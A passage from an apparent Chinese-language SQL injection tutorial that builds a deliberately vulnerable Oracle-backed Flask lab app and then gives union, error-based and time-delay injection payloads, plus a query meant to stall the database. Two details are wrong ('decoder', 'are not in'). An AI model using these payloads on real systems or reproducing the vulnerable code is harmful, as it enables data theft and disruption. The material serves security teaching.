style=\"color:#A0ADA0;--shiki-dark:#758575DD\"># Oracle 数据库连接配置 (gvenzl 镜像默认的可插拔数据库名为 XEPDB1)</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"># 用户名使用自带的 system 管理员</span></span>\n<span class=\"line\"><span style=\"color:#A65E2B;--shiki-dark:#C99076\">DB_USER</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">system</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"><span style=\"color:#A65E2B;--shiki-dark:#C99076\">DB_PASS</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">root</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"><span style=\"color:#A65E2B;--shiki-dark:#C99076\">DB_DSN</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">localhost:1521/XEPDB1</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">def</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> get_db_connection</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    return</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> oracledb</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">connect</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">user</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">DB_USER</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> password</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">DB_PASS</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> dsn</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">DB_DSN</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">def</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> init_db</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    try</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        conn </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> get_db_connection</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        cursor </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> conn</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">cursor</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        </span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">        # 尝试创建测试表。Oracle 没有 IF NOT EXISTS 语法，因此如果表已存在会报错，我们用 try-except 忽略它</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        try</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            cursor</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">execute</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"\"\"</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">                CREATE TABLE vuln_users (</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">                    id NUMBER GENERATED BY DEFAULT AS IDENTITY PRIMARY KEY,</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">                    username VARCHAR2(50),</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">                    password VARCHAR2(50)</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">                )</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">            \"\"\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            </span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">            # 插入测试数据</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            cursor</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">execute</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">INSERT INTO vuln_users (username, password) VALUES ('admin', 'oracle_admin_pass')</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            cursor</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">execute</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">INSERT INTO vuln_users (username, password) VALUES ('guest', '123456')</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            cursor</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">execute</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">INSERT INTO vuln_users (username, password) VALUES ('flag', 'ZLARYY&#123;O3acIe_15_s0_3@sy!!!&#125;')</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            conn</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">commit</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">            print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">[+] Database initialized successfully.</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        except</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> oracledb</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">DatabaseError </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">as</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> e</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            error</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> e</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">args</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">            # ORA-00955: 名称已由现有对象使用 (说明表已经建好了)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            if</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> error</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">code </span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">==</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 955</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">                pass</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            else</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">                raise</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    finally</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        cursor</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">close</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        conn</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">close</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">@</span><span style=\"color:#59873A;--shiki-dark:#80A665\">app</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#59873A;--shiki-dark:#80A665\">route</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">/user</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">def</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> get_user</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    username </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> request</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">args</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">get</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">name</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    </span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    if</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> not</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> username</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        return</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Please provide a name, e.g., ?name=admin</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    conn </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> get_db_connection</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    cursor </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> conn</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">cursor</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">    # ⚠️ 经典的漏洞点：拼接 SQL 语句。注意 Oracle 严格区分大小写且常用单引号</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    query </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> f</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\"SELECT id, username, password FROM vuln_users WHERE username = '</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">username</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">'\"</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    </span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    try</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        cursor</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">execute</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">query</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        result </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> cursor</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">fetchall</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        return</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> f</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\"&#x3C;h3>Executed Query:&#x3C;/h3>&#x3C;code></span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">query</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/code>&#x3C;hr>&#x3C;h3>Result:&#x3C;/h3>&#x3C;p></span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">result</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/p>\"</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    except</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> Exception</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> as</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> e</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">        # 打印数据库真实报错，这在 Oracle 中是进行“报错注入”的关键</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        return</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> f</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\"&#x3C;h3>Database Error:&#x3C;/h3>&#x3C;p></span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#998418;--shiki-dark:#B8A965\">str</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">e</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/p>\"</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    finally</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        cursor</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">close</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        conn</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">close</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">if</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __name__</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> ==</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">__main__</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">    # 等待 Docker 启动完毕后运行此脚本</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    init_db</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    app</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">run</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">debug</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">True</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> port</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">5002</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span></code></pre>\n<p>然后通过下面的命令运行web应用：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>python3 app.py</span></span></code></pre>\n<p>如果访问<code>http://localhost:5002/user?name=admin</code>能看到<code>oracle_admin_pass</code>就成功了</p>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/35.png\" class=\"\"></p>\n<h2 id=\"相关注释符和函数\"><a class=\"anchor\" href=\"#相关注释符和函数\">#</a> 相关注释符和函数</h2>\n<ul>\n<li>\n<p>注释符：单行注释：<code>--</code>，与其他数据库都相同</p>\n<p>多行注释：<code>/* ... */</code></p>\n</li>\n<li>\n<p>字符串拼接符：<code>||</code>，与SQLite类似</p>\n</li>\n<li>\n<p><code>length()</code>：获取字符串的长度</p>\n</li>\n<li>\n<p><code>substr()</code>：截取字符串</p>\n</li>\n<li>\n<p><code>ascii()</code>：字符转ascii码</p>\n</li>\n<li>\n<p><code>chr()</code>：ascii码转字符</p>\n</li>\n<li>\n<p><code>decoder(value,search_value,result1,default_result)</code>：这是Oracle的条件判断函数，如果<code>value</code>等于<code>search_value</code>就返回<code>result1</code>，否则返回<code>default_value</code>，可以在布尔盲注中代替<code>if</code>或<code>case when</code></p>\n</li>\n<li>\n<p><strong>报错注入核心函数：</strong></p>\n<ol>\n<li><code>utl_inaddr.get_host_address('要查询的数据')</code>：这个函数原本是用来通过主机名查IP的，如果传入一个无效的主机名就会报错，并且显示查询内容</li>\n<li><code>ctxsys.drithsx.sn(user,'要查询的数据')</code>：这是一个处理文本的底层函数，传入不符合格式的参数同样会抛出包含参数内容的错误</li>\n<li><code>xmltype('&lt;:'||要查询的数据||'&gt;')</code>：当传入无法解析为正常XML格式的字符串时会产生报错回显</li>\n</ol>\n</li>\n<li>\n<p><strong>延时盲注：</strong></p>\n<ol>\n<li>\n<p><code>dbms_pipe.receive_message('任意字符',延时秒数)</code>：这是Oracle中常用的延时函数，它原本用于管道通信，在这里被当做<code>sleep()</code>使用：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>and 1=(case when (1=1) then dbms_pipe.receive_message('a',5) else 1 end) --+</span></span></code></pre>\n</li>\n<li>\n<p><code>dbms_lock.sleep(秒数)</code>：这个函数十分直观但是绝大多数情况下普通数据库用户没有权限调用它</p>\n</li>\n<li>\n<p>笛卡尔积运算：如果上述函数都被禁用，可以利用<code>select count(*) from all_objects,all_objects</code>，由于<code>all_objects</code>表通常有几万条记录，将其自身进行交叉连接会产生几亿次运算从而瞬间卡死数据库造成物理上的延时</p>\n</li>\n</ol>\n</li>\n<li>\n<p>oracle中没有<code>limit</code>关键字，在oracle 12c及以前必须使用伪列<code>rownum</code>来限制返回行数，由于<code>rownum</code>的特殊机制（先分配行号再进行条件判断），不能直接写<code>where rownum=2</code>，只能写<code>where rownum=1</code>或者使用子查询</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>select table_name from all_tables where rownum=1 and table_name are not in ('已知表名1','已知表名2');</span></span></code></pre>\n<p>oracle 12c以上版本支持<code>fetch first 1 rows only</code>或<code>offset 1 rows fetch next 1 rows only</code></p>\n</li>\n</ul>\n<h2 id=\"union联合注入-3\"><a class=\"anchor\" href=\"#union联合注入-3\">#</a> union联合注入</h2>\n<p>Oracle依然可以用<code>order by</code>判断列数</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?name=admin' order by 3 --+</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/36.png\" class=\"\"></p>\n<p>也可以使用union试：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?name=admin' UNION SELECT NULL FROM dual --+</span></span>\n<span class=\"line\"><span>?name=admin' UNION SELECT NULL,NULL FROM dual --+</span></span>\n<span class=\"line\"><span>?name=admin' UNION SELECT NULL,NULL,NULL FROM dual --+</span></span></code></pre>\n<p>查询当前用户：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?name=a' union select null,user,null from dual --+</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/37.png\" class=\"\"></p>\n<p>确认当前会话上下文：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?name=a' union select null,sys_context('userenv','current_schema'),null from dual --+</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/38.png\" class=\"\"></p>\n<p><code>SYS_CONTEXT</code>可以读取当前会话上下文信息，比如<code>userenv</code>里面的<code>schema</code>等信息，查到这两个内容都是SYSTEM说明当前连接用户和默认schema都是<code>SYSTEM</code>，<code>SYSTEM</code>是高权限内置管理用户</p>\n<p>查所有的的表：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?name=a' union select null,table_name,null from all_tables --+</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/39.png\" class=\"\"></p>\n<p>查当前用户自己拥有的表：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?name=a' union select null,table_name,null from user_tables --+</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/40.png\" class=\"\"></p>\n<p>查当前用户可访问的表：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code 